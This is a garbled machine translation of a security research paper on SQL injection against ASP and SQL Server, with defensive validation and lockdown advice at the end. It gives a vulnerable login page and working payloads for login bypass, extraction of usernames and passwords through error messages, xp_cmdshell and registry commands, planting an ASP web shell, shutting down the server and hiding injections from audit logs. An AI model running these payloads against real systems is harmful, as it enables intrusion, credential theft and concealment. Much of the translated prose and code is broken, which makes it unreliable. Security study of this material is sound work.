Advanced SQL Injection in the SQL Server application

xiaoxiao2021-03-06  50

Create time: 2004-06-10

Article attribute: translation

Article submission:

Panderlang (Pander_Lang_AT_HOTMAIL.COM)

Advanced SQL Injection in the SQL Server application

Author: Chris Anley [chris@ngssoftware.com]

An NGSsoftware Insight Security Research (NISR) Publication

Translation: Qingyan Zhiwolf (Panderlang)

Source: Wolf Online (

http://www.panderlang.com/)

The first translation, the level is limited, it is inevitable, please don't finish correct. Reprinted please keep the information intact.

Summary:

This document discusses SQL injection technology in detail, which adapts to the popular IIS ASP SQL Server platform. It discusses which SQL statements can be injected into the application through a wide variety of methods, and record the data confirmation and database lock associated with the attack.

The expected readers of this document are developers of web programs that communicate with the database and those who play audit web applications.

Introduction:

SQL is a structured query language for relational databases. It is divided into many species, but most of them are loosely based on the latest standard SQL-92 for the National Standardization Organization. A typical execution statement is Query, which can collect comparisonable records and return a single result set. The SQL language can modify the database structure (data definition language) and the database content (data operation language). In this document, we will specifically discuss the Transact-SQL language used by SQL Server.

When an attacker can operate data written into the application by inserting a series of SQL statements into Query, we are defined as SQL injection.

A typical SQL statement is as follows:

SELECT ID, Forename, Surname from Authors

This statement will return the ID, forename, and weak columns of all rows in the Authors table. This result can be limited, for example:

SELECT ID, Forename, Surname from authors where forename'john 'and weak =' smith '

It is necessary to focus on string 'john' and 'smith' being limited by single quotes. Clearly, the Forename and Surname field are input restrictions provided by the user, and an attacker can inject some SQL statements from the input value to this query.

as follows:

Forename: Jo'hn

Surname: Smith

The query statement becomes:

SELECT ID, Forename, Surname from authors where forename = 'jo'hn' and weaka = 'smith'

When the database tries to perform this query, it will return the following error:

Server: MSG 170, Level 15, State 1, Line 1

LINE 1: IncorRect Syntax Near 'HN'

The reason for this result is inserted. As a single quotation of the delimiter. The database attempts to perform 'hn', but failed. If an attacker offers special inputs such as:

Forename: Jo '; Drop Table Authors-

Surname:

The result is that the Authors table is deleted, which is why we will talk about it later. It seems that you can solve this problem by getting a single quotation from the input or avoiding them. This is feasible, but there are several difficulties in making a solution with this method. First, not all users provide data is a string. If the user enters an Author ID through the user ID, then our query should be like this:

SELECT ID, FORENAME, SURNAME FROM AUTHORS WHERE ID = 1234

In this case, an attacker can add SQL statements very simple to the end of the number. In other versions of SQL languages, use a variety of qualified symbols; in the database management system JET engine, the data can be used. '#'limited. Second, avoid single quotes, although it can be seen, it is not necessary. For the reason, we will talk later.

We further use a simple ASP login page to point out who can enter the SQLServer database and try to authenticate access to some fictional applications.

This is a code submitting a single page, allowing users to enter usernames and passwords:

Login Page </ Title></p> <p></ HEAD></p> <p><Body bgcolor = '000000' text = 'cccccc'></p> <p><Font face = 'tahoma' color = 'cccccc'></p> <p><Center> <h1> login </ h1></p> <p><Form action = 'process_loginasp' method = post></p> <p><Table></p> <p><TR> <TD> UserName: </ TD> <TD> <Input Type = Text Name = UserName Size = 100 Width = 100> </ TD> </ TR></p> <p><TR> <TD> Password: </ td> <TD> <input type = password name = password size = 100 withd = 100> </ td> </ tr></p> <p></ TABLE></p> <p><Input Type = Submit Value = 'Submit'> <Input Type = Reset Value = 'RESET'></p> <p></ Form></p> <p></ Font></p> <p></ Body></p> <p></ Html></p> <p>Below is the code of Process_login.asp, which is used to control the login:</p> <p><Html></p> <p><Body bgcolor = '000000' text = 'ffffff'></p> <p><Font face = 'tahoma' color = 'ffffff'></p> <p><Style></p> <p>P {font-size = 20pt! important}</p> <p>Font {font-size = 20pt! important}</p> <p>H1 {font-size = 64pt! important}</p> <p></ Style></p> <p><% @ Language = jscript%> <%</p> <p>Function trace (STR) {</p> <p>IF (Request.form ("Debug") == "True")</p> <p>Response.write (STR);</p> <p>}</p> <p>Function login (cn) {</p> <p>VAR Username;</p> <p>Var Password;</p> <p>UserName = Request.form ("UserName");</p> <p>Password = Request.form ("password");</p> <p>Var RSO = Server.createObject ("AdoDb.Recordset");</p> <p>Var SQL = "Select * from username where username = '" username "' and password = '" password "'"; trace ("Query:" SQL);</p> <p>RSO.Open (SQL, CN);</p> <p>IF (rso.eof) {</p> <p>rso.close ();</p> <p>%></p> <p><Font face = 'tahoma' color = 'cc0000'></p> <p><H1> <BR> <BR></p> <p><Center> Access Denied </ center></p> <p></ H1></p> <p></ Body></p> <p></ Html></p> <p><% Response.end return;}</p> <p>Else {</p> <p>Session ("UserName") = "" RSO ("UserName");</p> <p>%></p> <p><Font face = 'tahoma' color = '00cc00'></p> <p><H1> <CENTER> ACCESS GRANTED <BR> <BR></p> <p>Welcome, "UserName"); response.write ("</ body> </ html>"); response.end}</p> <p>}</p> <p>Function main () {// set up connection</p> <p>Var Username</p> <p>VAR CN = Server.createObject ("AdoDb.Connection");</p> <p>Cn.connectionTIMEOUT = 20;</p> <p>CN.Open ("LocalServer", "SA", "password");</p> <p>Username = new string (Request.form ("UserName");</p> <p>IF (username.length> 0) {</p> <p>Login (CN);</p> <p>}</p> <p>Cn.close ();</p> <p>}</p> <p>MAIN ();</p> <p>%></p> <p>The part of the problem is part of Process_lgin.asp, producing a query statement:</p> <p>VAR SQL = "Select * from username = '" username "' and password = '" password "'"; if the information entered by the user is as follows:</p> <p>Username: '; Drop Table Users-</p> <p>PASSWORD:</p> <p>The database in the database will be deleted and reject any user to enter the application. '-' symbols in Transact-SQL indicate ignoring '-' future statements, ';' symbol represents the end of a query and the beginning of another query. '-' is a must be in the username field, which is to terminate this special query and do not return an error.</p> <p>Attackers can only provide the user name they know, you can log in with any user, use the following input:</p> <p>Username: admin'-</p> <p>Attackers can use the first user in the UserS table, enter the following:</p> <p>Username: 'OR 1 = 1-</p> <p>More specifically, an attacker can log in with a completely fiction, enter the following:</p> <p>Username: 'Union Select 1,' fictional_user ',' some_password ', 1-</p> <p>The reason for this result is that the application believes that the attacker specifies part of the return result from the database.</p> <p>Get information through error messages</p> <p>This is almost David Litchfield first discovered and tested by the author infiltrated; later David wrote a document, and later the author referred to this document. These explanations discussed the 'error message' potential mechanism to enable the reader to fully understand it, potentially triggering their ability.</p> <p>In order to operate data in the database, the attacker must determine some databases and some tables of structures. For example, we can create a USER table using the following statement:</p> <p>Create Talbe Users</p> <p>ID INT,</p> <p>Username varchar (255),</p> <p>Password varchar (255),</p> <p>PRIVS INT</p> <p>)</p> <p>Then insert the following user into the UserS table:</p> <p>INSERT INTO USERS VALUES (0, 'Admin', 'R00TR0X!', 0xfff)</p> <p>INSERT INTO USERS VALUES (0, 'Guest', 'Guest', 0x0000)</p> <p>INSERT INTO USERS VALUES (0, 'Chris', 'Password', 0x00FF)</p> <p>INSERT INTO USERS VALUES (0, 'Fred', 'Sesame', 0x00FF)</p> <p>If our attacker wants to insert a self. He can't succeed if you don't know the USERS table structure. Even if he is more fortunate, it is not clear to the PRIVS field. An attacker may insert a '1', which gives him a low authority user.</p> <p>Fortunately, if an error message is returned from the application (default as an ASP behavior), the attacker can determine the structure of the entire database and can connect to the permissions of SQLServer in the program.</p> <p>(Below below with a simple database and ASP script, how do they work?</p> <p>First, an attacker wants to get the name and field of the field of the user's table, to do this, the attacker needs to use the SELECT syntax Having clause: username: 'Having 1 = 1-</p> <p>This will appear as follows:</p> <p>Microsoft Ole DB Provider for ODBC Drivers Error '80040e14'</p> <p>.</p> <p>/Process_login.asp, line 35</p> <p>So now the attacker knows the name of the table and the name of the first location. They can still put the field to the group by clause, I can only find a field name, as follows:</p> <p>Username: 'group by users.id Having 1 = 1-</p> <p>The error that appears is as follows:</p> <p>Microsoft Ole DB Provider for ODBC Drivers Error '80040e14'</p> <p>.</p> <p>/Process_login.asp, line 35</p> <p>The final attacker gets the usrname field:</p> <p>'Group by users.id, users.username, users.password, users.privs haVing 1 = 1-</p> <p>This sentence does not generate an error, equivalent to:</p> <p>Select * from users where username = ''</p> <p>Therefore, an attacker now knows that the query involves the UserS table, sequentially uses column 'ID, username, password, privs'.</p> <p>It is very useful to determine the type of each column. This can be implemented by using type conversion, for example:</p> <p>Username: 'Union Select SUM (UserName) from users-</p> <p>This uses SQLServer to apply the SUM clause before it is determined whether the fields of the two result sets are equal. Try to calculate SUM to get the following message:</p> <p>Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'</p> <p>[Microsoft] [ODBC SQL Server Driver] [SQL Server] The Sum OR AVERAGE AGGREGATE OPERATION CANNOT TAKE A VARCHAR DATA TYPE AS AN Argument.</p> <p>/Process_login.asp, line 35</p> <p>This tells the type of our 'username' field is Varchar. If it is another case, we try to calculate SUM () is a digital type, and we get the error message tells us that the number of fields of the two collections is not equal.</p> <p>Username: 'Union Select Sum (ID) from users-</p> <p>Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft] [ODBC SQL Server Driver] [SQL Server] All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.</p> <p>/Process_login.asp, line 35</p> <p>We can use this technology to approximate the type of any field in any of the database in the database.</p> <p>Such an attacker can write a good INSERT query, for example:</p> <p>Username: '; Insert Into Users Values ​​(666,' Attacker ',' Foobar ',' 0xfff) -</p> <p>The potential impact of this technology is not just these. An attacker can use these error messages to display environmental information or databases. You can get a standard error message by running a string of a list of formats:</p> <p>Select * from master ..sysmessages</p> <p>Explain that these will implement interesting messages.</p> <p>A particularly useful message is related to type transformation. If you try to convert a string into an integer number, all contents of the string will return to the error message. For example, in our simple landing page, the version of SQL Server is displayed later and the running operating system information is displayed later:</p> <p>Username: 'Union Select @@ version, 1,1,1-</p> <p>Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'</p> <p>[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition On Windows NT 5.0 (Build 2195: Service Pack 2) 'To a column of data type int.</p> <p>/Process_login.asp, line 35</p> <p>This is trying to convert the built-in '@@ version' constant into a integer number because the first column in the UserS table is integer.</p> <p>This technique can be used to read any of the values ​​of any table in the database. Since the attacker is more interested in the username and user password, they prefer to read the username from the UserS table, for example:</p> <p>Username: 'Union Select Min (username), 1, 1 from users where username>' A'-</p> <p>This sentence selects the minimum value of the username in the usern table, and try to convert it into a integer number:</p> <p>Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'</p> <p>[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The VARCHAR VALUE 'Admin' to a Column of Data Type Int.</p> <p>/Process_login.asp, line 35</p> <p>Therefore, an attacker already knows that user admin is exist. This way he can repeat the next user by using the WHERE clause and the user name. Username: 'Union Select Min (username), 1, 1, 1 from username>' admin'-</p> <p>Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'</p> <p>[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The VARCHAR VALUE 'Chris' To a Column of Data Type Int.</p> <p>/Process_login.asp, line 35</p> <p>Once the attacker determines the username, he can start collecting passwords:</p> <p>Username: 'Union Select Password, 1, 1, 1 from users where username =' admin'-</p> <p>Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'</p> <p>[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax Error Converting The VARCHAR VALUE 'R00TR0X!' TO A Column of Data TYPE INT.</p> <p>/Process_login.asp, line 35</p> <p>A more advanced technology is to connect all usernames and passwords to a separate string and try to convert it into integer numbers. This example stated that the Transavt-SQL syntax can connect them without changing the same line. The following script will connect the value:</p> <p>Begin declare @ret varchar (8000)</p> <p>Set @ Ret = ':'</p> <p>SELECT @ RET = @ RET '' UserName '/' Password from Users Where</p> <p>Username> @ret</p> <p>SELECT @ret As Ret Into Foo</p> <p>end</p> <p>Attackers use this as a username (all in one line)</p> <p>Username: '; Begin Declare @ret Varchar (8000) SET @ Ret =': 'SELECT @ Ret = @ RET ' ' Username ' / ' Password from Users Where Username> @ret select @ret As Ret Into Foo End-</p> <p>This creates a FOO table, there is only one column 'RET', which stores the string of the username and password we get. Under normal circumstances, a low authority can create a table in the same database or create a temporary database.</p> <p>Then the attacker can get the string we have to get:</p> <p>Username: 'Union Select Ret, 1,1,1 from foo-</p> <p>Microsoft OLE DB Provider for ODBC Drivers Error '80040E07'</p> <p>[Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value ':! Admin / r00tr0x guest / guest chris / password fred / sesame' to a column of data type int./process_login.asp, line 35</p> <p>Then discard (delete) table, clear footprints:</p> <p>UserName: '; Drop Table Foo-</p> <p>This example is merely a surface of this technology. It is not necessary to say that if an attacker can get enough mistakes from the database, their work will become unlimited.</p> <p>Get higher permissions</p> <p>Once the attacker controls the database, they want to use that permissions to get higher control over the network. This can be achieved by many ways:</p> <p>1. On the Database Server, use the XP_cmdshell extension stored procedure execution command with SQL Server permissions.</p> <p>2. Use the XP_REGREAD extended stored procedure to read the key value of the registry, of course, including the SAM key (provided SQL Server is run by system authority)</p> <p>3. Use other stored procedures to change the server</p> <p>4. Execute the query on the connected server</p> <p>5. Create a customer extension stored procedure to perform overflow code in the SQLServer process</p> <p>6. Use the 'Bulk INSERT' syntax to read any file on the server</p> <p>7. Use the BCP to create files in any text format on the server</p> <p>8. Use sp_oacreate, sp_oamethod, and sp_oagetproperty system stored procedures to create an ActiveX application, making it what you can do any ASP script.</p> <p>These only list a small amount of very ordinary possible attack methods, and attackers are likely to use other methods. We introduce the collection of attacks on the obvious attack method of the SQL server, in order to explain which aspect may be, and the permissions are permissions to inject SQL .. We will process the various methods mentioned above:</p> <p>[xp_cmdshell]</p> <p>Many stored procedures are created in SQLServer, perform a wide variety of features, such as sending emails and interact with registry.</p> <p>XP_cmdshell is a built-in stored procedure that allows an arbitrary command line command. E.g:</p> <p>Exec master..xp_cmdshell 'DIR'</p> <p>A list of directories in the current working directory of the SQL Server process will be obtained.</p> <p>EXEC MASTER..NP_CMDSHELL 'NET USER'</p> <p>A list of all users on the server will be provided. When SQL Server is running in a system account or domain account, an attacker can make a more serious harm.</p> <p>[XP_REGREAD]</p> <p>Another useful built-in stored procedure is a function collection of XP_REGXXXX classes.</p> <p>XP_REGADDMULTINTISTRING</p> <p>XP_RegdeleteKey</p> <p>XP_Regdeletevalue</p> <p>XP_RegenumKeys</p> <p>XP_RegenumValues</p> <p>XP_REGREAD</p> <p>XP_REGREMOVEMULTINTRING</p> <p>XP_Regwrite</p> <p>The method of use of these functions is as follows:</p> <p>EXEC XP_REGREAD HKEY_LOCAL_MACHINE, 'System / CurrentControlset / Services / Lanmanserver / Parameters', 'NullSessionShares'</p> <p>This will determine what kind of session connection is available on the server.</p> <p>EXEC XP_REGENUMVALUES HKEY_LOCAL_MACHINE, 'System / CurrentControlSet / Services / SNMP / Parameters / ValidCommunities'</p> <p>This will display all SNMP group configurations on the server. In the case where the SNMP group is rarely changed and shared between many hosts, this information, the attacker may reconfigure the network device in the same network. This is easy to imagine an attacker to read SAM using these functions, modify the configuration of the system service, start it when the machine is restarted, or executes an arbitrary command when you log in next time.</p> <p>[Other stored procedures]</p> <p>The XP_ServiceControl process allows users to start, stop, suspend, and continue service:</p> <p>Exec master..xp_serviceControl 'Start', 'Schedule'</p> <p>Exec master..xp_serviceControl 'Start', 'Server'</p> <p>The following table lists a small number of other useful stored procedures:</p> <p>XP_availableMedia Displays the drive on the machine</p> <p>XP_dirtree allows a directory tree</p> <p>XP_enumdsn lists ODBC data sources on the server</p> <p>XP_LoginConfig Reveals Information About The Security Mode of The Server</p> <p>XP_makecab allows users to create a compressed file on the server</p> <p>XP_NTSEC_ENUMDOMAINS lists the domain that the server can enter</p> <p>XP_TERMINATE_PROCESS Provides the process ID of the process to terminate this process</p> <p>[Linked Servers]</p> <p>SQL Server provides a mechanism that allows the server to connect, that is, allows queries on a database server to operate data on another server. This link is stored in the master.sysservers table. If a connected server has been set to use the 'sp_addlinkedsrvlogin' process, the currently trusted connection can be accessed to the server without logging in. The 'OpenQuery' function allows query out of the server.</p> <p>[Custom Extended Stored Procedures]</p> <p>Extended stored procedure application interfaces are quite simple, create a malicious code-carrying stored procedure dynamic connection library is a fairly simple task. There are several ways to use the command line to upload dynamic connection libraries to the SQL server, and other communication mechanisms including multiple automatic communication, such as HTTP download and FTP scripts.</p> <p>Once the dynamic connection library file runs on the machine, the SQL server can be accessed - this does not need it to be a SQL server - an attacker can add an extended stored procedure using the following command (in this case, our malicious stored procedure It is a small Trojan that outputs a system file of the server):</p> <p>Sp_addextendedProc 'XP_Webserver', 'C: /TEMP/XP_foo.dll'</p> <p>In normal way, this extended stored procedure can be run:</p> <p>EXEC XP_WEBSERVER</p> <p>Once this program is run, you can use the following method to remove it:</p> <p>XP_DropeXtendedProc 'XP_Webserver'</p> <p>[Import text files]</p> <p>Use the 'Bulk INSERT' syntax to insert a text file into a temporary table. Simply create this table:</p> <p>Create Table Foo (Line Varchar (8000))</p> <p>Then execute Bulk INSERT operations into the table in the table, such as:</p> <p>Bulk INSERT FOO from 'c: /inetpub/wwroot/process_login.asp'</p> <p>The above-described error message technology can be used, or using the 'union', the data in the text file is combined with the data returned by the application, and the data is retrieved. This is very useful for the script source code or ASP script code stored on the database server or the ASP script code. [Establish a text file using BCP]</p> <p>Relative technology using 'Bulk Insert' can easily establish any text file. Unfortunately, this requires command line tools. 'bcp', 'bulk copy program'</p> <p>Since BCP can access the database from the SQL service process, it needs to be logged in. This means is not very difficult, and since the attacker can build, or use the overall security mechanism (if the server is configured to use it).</p> <p>The command line format is as follows:</p> <p>BCP "Select * from text..foo" queryout c: /inetpub/wwwroot/runcommand.asp -c -slocalhost -usa -pfoobar</p> <p>The 's' parameter is the server that executes the query, 'u' parameter is the username, 'p' parameter is a password, here is 'FOOBAR'</p> <p>[ActiveX Automation Scripts in SQL Server]</p> <p>Several built-in storage procedures for creating ActiveX automatic execution scripts are available in SQL Server. These scripts and scripts running under the Windows script interpreter, or the ASP script - they use VBScript or JavaScript, and they create automatic execution objects and interact with them. An automatic execution script uses this method to write anything that can be done in the ASP script in Transact-SQL, or anything you can do in the WSH script. In order to clarify this shoe, there are several examples here:</p> <p>(1) This example uses the 'WScript.Shell' object to establish an instance of a notepad:</p> <p>WScript.Shell EXAMPLE</p> <p>Declare @o int</p> <p>Exec sp_oacreate 'wscript.shell', @ o Out</p> <p>EXEC SP_OAMETHOD @ o, 'Run', NULL, 'NOTEPAD.EXE'</p> <p>We can execute it by specifying it behind the user name:</p> <p>Username: '; Declare @o int exec sp_oacreate' wscript.shell ', @ o out exec sp_oamethod @ o,' run ', null,' notepad.exe'-</p> <p>(2) This example reads a known text file using the 'scripting.filesystemObject' object:</p> <p>- Scripting.FileSystemObject Example - Read a known file</p> <p>Declare @o int, @f int, @T, @ret int</p> <p>Declare @line varchar (8000)</p> <p>Exec sp_oacreate 'scripting.filesystemObject', @o out</p> <p>EXEC SP_OAMETHOD @o, 'OpenTextFile', @f out, 'c: /boot.ini', 1</p> <p>EXEC @ RET = SP_OAMETHOD @ f, 'Readline', @ line Out</p> <p>While (@ Ret = 0)</p> <p>Begin</p> <p>Print @lineexec @ RET = sp_oamethod @ f, 'readline', @ line Out</p> <p>end</p> <p>(3) This example creates a command that can perform by submitted:</p> <p>- Scripting.FileSystemObject Example - Create a 'Run this'.ASP file</p> <p>Declare @o int, @ f int, @ t int, @ RET INT</p> <p>Exec sp_oacreate 'scripting.filesystemObject', @ o Out</p> <p>EXEC SP_OAMETHOD @ o, 'cretetextfile', @ f out, 'c: /inetpub/wwwroot/foo.asp' ,1</p> <p>EXEC @ RET = SP_OAMETHOD @ f, 'writeline', null, '<% set o = server.createObject ("wscript.shell": o.run (Request.QueryString ("cmd"))%>'</p> <p>It is to be pointed out that if the running environment is on the WIN NT4 IIS4 platform, the command running through this program is run by system authority. In IIS5, it runs with a relatively low permission IWAM_XXXACCOUNT.</p> <p>(4) These examples describe the applicability of this technology; it can use the 'Speech.voiceEtext' object to cause SQL Server vocal:</p> <p>Declare @o int, @ RET INT</p> <p>Exec sp_oacreate 'speech.voicetext', @ o Out</p> <p>EXEC SP_OAMETHOD @ o, 'register', null, 'foo', 'bar'</p> <p>EXEC SP_OASETPROPERTY @ o, 'speted', 150</p> <p>EXEC SP_OAMETHOD @ o, 'Speak', Null, 'All Your SEquel Servers Are Belong To, US', 528</p> <p>WAITFOR DELAY '00: 00: 00: 05 '</p> <p>In the example we assume, we can perform it by specifying it behind the user name (note that this example is not only injecting a script, while logging in to the application with admin privileges):</p> <p>Username: admin '; declare @o int, @ ret int exec sp_oacreate' speech.voicetext ', @ o out exec sp_oamethod @ o,' register ', NULL,' foo ',' bar 'exec sp_oasetproperty @ o,' speed ' 150 Exec Sp_oamethod @ o, 'Speak', Null, 'All Your Sequel Servers Are Belong To US', 528 WAITFOR DELAY '00: 00: 05 '-</p> <p>[Stored procedure]</p> <p>Legend has it impossible if an ASP application uses a stored procedure in the database, then SQL injection is impossible. This sentence is only half of it, it depends on how to call this stored procedure in the ASP script.</p> <p>Essentially, if an parameter query is executed, and the parameters provided by the user are put into the query by security check, then SQL injection is obviously impossible. But if an attacker strives to affect the non-data part of the query statement, they may be able to control the database. A better conventional standard is:</p> <p>• If an ASP script can generate a submitted SQL query string, even if it uses the stored procedure, it is also possible to cause weakness of SQL injection.</p> <p>• If an ASP script uses a process object restricted parameter to allocate (such as the Command object for the ADO for parameters), then through this object, it is generally secure.</p> <p>Obviously, since the new attack technology is always found, a good convention is still verifying all the inputs.</p> <p>In order to clarify the query injection of the stored procedure, the following statement is performed:</p> <p>sp_who '1' Select * from sysobjects</p> <p>oral</p> <p>SP_Who '1'; Select * from sysobjects</p> <p>Any method, after the stored procedure, the additional query will still be executed.</p> <p>[Advanced SQL Injection]</p> <p>Typically, a web application will filter a single quotation number (or other symbol), or limit the length of the data submitted by the user.</p> <p>In this section, we discuss some techniques that can help attackers to make it clearly to prevent SQL injection, avoiding recorded.</p> <p>[No single quotes "string]</p> <p>Sometimes developers protect the application by filtering all single quotes, they might use the Replace function in VBScript:</p> <p>Function Escape (Input)</p> <p>INPUT = Replace (Input, "'", "'")</p> <p>Escape = INPUT</p> <p>END FUNCTION</p> <p>It is undeniable that this prevents all of our examples of attacks, then remove ';' symbols can also help it. But in a large application, it seems that the individual values ​​expect users to enter numbers. These values ​​are not limited, so the attacker provides an weak point of SQL injection.</p> <p>If an attacker wants to generate a string value without using single quotes, he can use a char function, for example:</p> <p>INSERT INTO USERS VALUES (666,</p> <p>Char (0x63) char (0x68) char (0x72) char90x69) char (0x73), char (0x63) char (0x68) char (0x72) char90x69) char (0x73),</p> <p>0xfffff)</p> <p>This is a query that does not include single quotes that can be inserted into the table.</p> <p>Land, if an attacker does not mind using a digital user name and password, the following statement also works:</p> <p>INSERT INTO USERS VALUES (667,</p> <p>123,</p> <p>123,</p> <p>oxfff)</p> <p>SQL Server automatically converts integration into a VARCHAR type value.</p> <p>[SECOND-ORDER SQL INJECTION]</p> <p>Even if the application is always filtering single quotes, the attacker can still inject SQL, and the data in the database is repeatedly used by the application.</p> <p>For example, an attacker may use the following information to register in an application:</p> <p>Username: admin'-</p> <p>Password: Password</p> <p>The application correctly filters the single quotes, returns a insert statement similar to this:</p> <p>INSERT INTO USERS VALUES (123, 'Admin' '-', 'Password', 0xFFF)</p> <p>We assume that the application allows users to modify their passwords. This ASP script first guarantees the user to set the correct old password before setting the new password. The code is as follows: username = escape (Request.form ("UserName");</p> <p>Oldpassword = escape (Request.form ("Oldpassword"));</p> <p>Newpassword = escape (Request.form ("NewPassword"));</p> <p>Var RSO = Server.createObject ("AdoDb.Recordset");</p> <p>Var SQL = "SELECT * from users where username = '" username "' and password = '" Oldpassword "";</p> <p>RSO.Open (SQL, CN);</p> <p>IF (rso.eof)</p> <p>{</p> <p>...</p> <p>Set the code for the new password as follows:</p> <p>SQL = "Update users set password = '" newpassword "' where username = '" RSO ("UserName") "'"</p> <p>RSO ("UserName") is the user name returned in the login query</p> <p>When UserName is admin'-, the query statement is:</p> <p>Update users set password = 'password' where username = 'admin'-'</p> <p>Such an attacker can set an admin's password according to its own idea by registering an admin'-user.</p> <p>This is a very serious problem, currently trying to filter data in large applications. The best solution is to refuse illegal inputs, which is better to try to modify it. This sometimes causes a problem that illegal characters are necessary, for example, in the username contains' symbols, for example</p> <p>O'Brien</p> <p>From a secure point of view, the best solution is that the quotation marks are not allowed to be a simple fact. If this is unacceptable, they still have to be filtered; in this case, all data that enters the SQL query is the best way.</p> <p>If an attacker does not use any app inexplicably inserted into the system, the attack is also possible. The application may have an email interface, or may store the error log in the database so that an attacker can work hard to control it. Verify all data, including the data already existing in the database is always a good method. The confirmation function will be simply called, for example:</p> <p>IF (Not Isvalid ("Email", Request.QueryString ("email"))).</p> <p>Response.end</p> <p>Or similar methods.</p> <p>[Length Limit]</p> <p>In order to give attackers more difficult, sometimes the length of input data is limited. When this hinders attacks, a small SQL can cause very serious harm. E.g:</p> <p>Username: '; shutdown-</p> <p>This will stop the SQL Server instance using only 12 input characters. Another example is:</p> <p>Drop Table <Tablename></p> <p>If the limit length is after the filter string will cause another problem. Suppose the username is limited to 16 characters, the password is also limited 16 characters, then the following username and password combine will perform the shortdown command mentioned above: username: Aaaaaaaaaaaaa '</p> <p>Password: '; shutdown-</p> <p>The reason is that the application attempts to filter the last single quotes of the username, but the string is cut into 16 characters and delete a single quotes after filtering. Such a result is that if the password field begins with single quotation, it can contain some SQL statements. Since the query looks:</p> <p>Select * from users where username = 'aaaaaaaaaaaaa' 'and password =' ​​''; shutdown-</p> <p>In fact, the username in the query has changed:</p> <p>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A</p> <p>So the last SQL statement will be executed.</p> <p>[audit]</p> <p>SQL Server contains a rich audit interface that allows various events in the database, which is included in the SP_Tracexxx class. It is especially interesting that all SQL statements can be recorded, then the T-SQL events executed on the server. If this audit is activated, all injected SQL queries we discussed will be recorded in the database, and a skilled database administrator will know what happened. Unfortunately, if an attacker adds a string below:</p> <p>SP_Password</p> <p>In a Transact-SQL statement, this audit mechanism record log is as follows:</p> <p>- 'sp_password' Was Found in The Text of this Event.</p> <p>- The Text Has Been Replaced with this Comment for Security Reasons.</p> <p>This behavior occurs in all T-SQL diary records, even if 'sp_password' occurs in one comment. This process intends to hide the user's password through sp_password, but this is a very useful method for an attacker.</p> <p>Therefore, in order to hide all injections, the attacker needs to simply add sp_password after the '-' comment character, for example:</p> <p>UserName: admin'-sp_password</p> <p>In fact, some SQL executed will be recorded, but the query itself will disappear smoothly from the log.</p> <p>[Prevent]</p> <p>This part discusses some of the prevention of the description of the attack. We will discuss input confirmation and provide some simple code, and then we will engage in SQL Server lock.</p> <p>[Enter verification]</p> <p>Enter verification is a complex topic. More representative is that since it is too closely confirmed that the temporary temporarity temporarily caused, the input confirmation is difficult to resolve, and there are few attention to the project development to confirm. The input confirmation is not a function of inclined it to the application's function, so it is generally ignored.</p> <p>Below is an outline of discussion input confirmation with simple code. This simple code cannot be used directly in the application, but it clearly clarifies different strategies.</p> <p>Different data confirmation methods can be classified according to:</p> <p>1) Work hard to modify the data to make it correct</p> <p>2) Refuse to be considered an incorrect input</p> <p>3) Only receiving is considered to be correct input</p> <p>The first case has some conceptual problems; first, developers don't have to know that those are wrong data, because the form of new error data is always found. Second, modifying the data will cause the length problem of the data described above. Finally, the problem of secondary use includes reuse that already exists in the system.</p> <p>The second case also has problems in the first case; known error inputs with the development of attack technologies. The third case may be the best in three, but it is difficult to implement.</p> <p>From a security perspective, the second method and the third method may be the best way - only the correct input, then search for the error data known in the input.</p> <p>The problem with the name of the connection symbol is a good example of the need to reflect the two methods of combining:</p> <p>Quentin Bassington-Bassington</p> <p>We must allow the connection symbol in the correct input, but we also realize that the character sequence '-' is important to SQL Server.</p> <p>Another problem occurs when merging and modifying data and character sequence confirmation. For example, if we apply an error filtering to detect '-', 'SELECT' and 'Union' after removing single quotes, the attacker can enter:</p> <p>Uni'on sel'ect @@ version-'-</p> <p>Since single quotes are removed, the attacker can simply spread the single quotuary to avoid discovery in their own wrong string.</p> <p>This has some examples of confirmation code:</p> <p>Method 1 - Filter single quotes</p> <p>Function Escape (Input)</p> <p>INPUT = Replace (Input, "'", "'")</p> <p>Escape = INPUT</p> <p>END FUNCTION</p> <p>Method 2 - Reject known error input</p> <p>Function Validate_String (Input)</p> <p>KNOWN_BAD = Array ("SELECT", "INSERT", "Update", "DELETE", "DROP", "-", "'")</p> <p>Validate_String = True</p> <p>For i = lbound (known_bad) to Ubound (known_bad)</p> <p>IF (INSTR (1, Input, KNown_Bad (i), VbtextCompare) <> 0) THEN</p> <p>Validate_string = false</p> <p>EXIT FUNCTION</p> <p>END IF</p> <p>NEXT</p> <p>END FUNCTION</p> <p>Method 3 - only allowed correct input</p> <p>Function ValidatePassword (INPUT)</p> <p>Good_password_chars = "AbcdefghijklmnopqrStuvwxyzabcdefghijklmnopqrStuvwxyz0123456789"</p> <p>ValidatePassword = TRUE</p> <p>For i = 1 to Len (Input)</p> <p>C = MID (INPUT, I, 1)</p> <p>IF (INSTR (Good_Password_Chars, C) = 0) THEN</p> <p>ValidatePassword = FALSE</p> <p>EXIT FUNCTION</p> <p>END IF</p> <p>NEXT</p> <p>END FUNCTION</p> <p>[SQL Server Lock]</p> <p>It is important to lock SQL Server if it is not safe to lock SQL Server; This is a short list of things that you need to do when you create SQL Server:</p> <p>1. Determine the method of connecting the server</p> <p>a. Make sure the network library you use is available, then use "NetWork Utility"</p> <p>2. Determine which accounts are existing</p> <p>a. Create a low permissions for the use of the application</p> <p>b. Delete unnecessary accounts</p> <p>c. Determine all accounts have a strong password; execute password audit</p> <p>3. Determine which objects exist</p> <p>a. Many extended stored processes can be safely removed. If this is done, you should remove the '.dll' file contained in the extended stored procedure code.</p> <p>b. Remove all sample databases, for example, 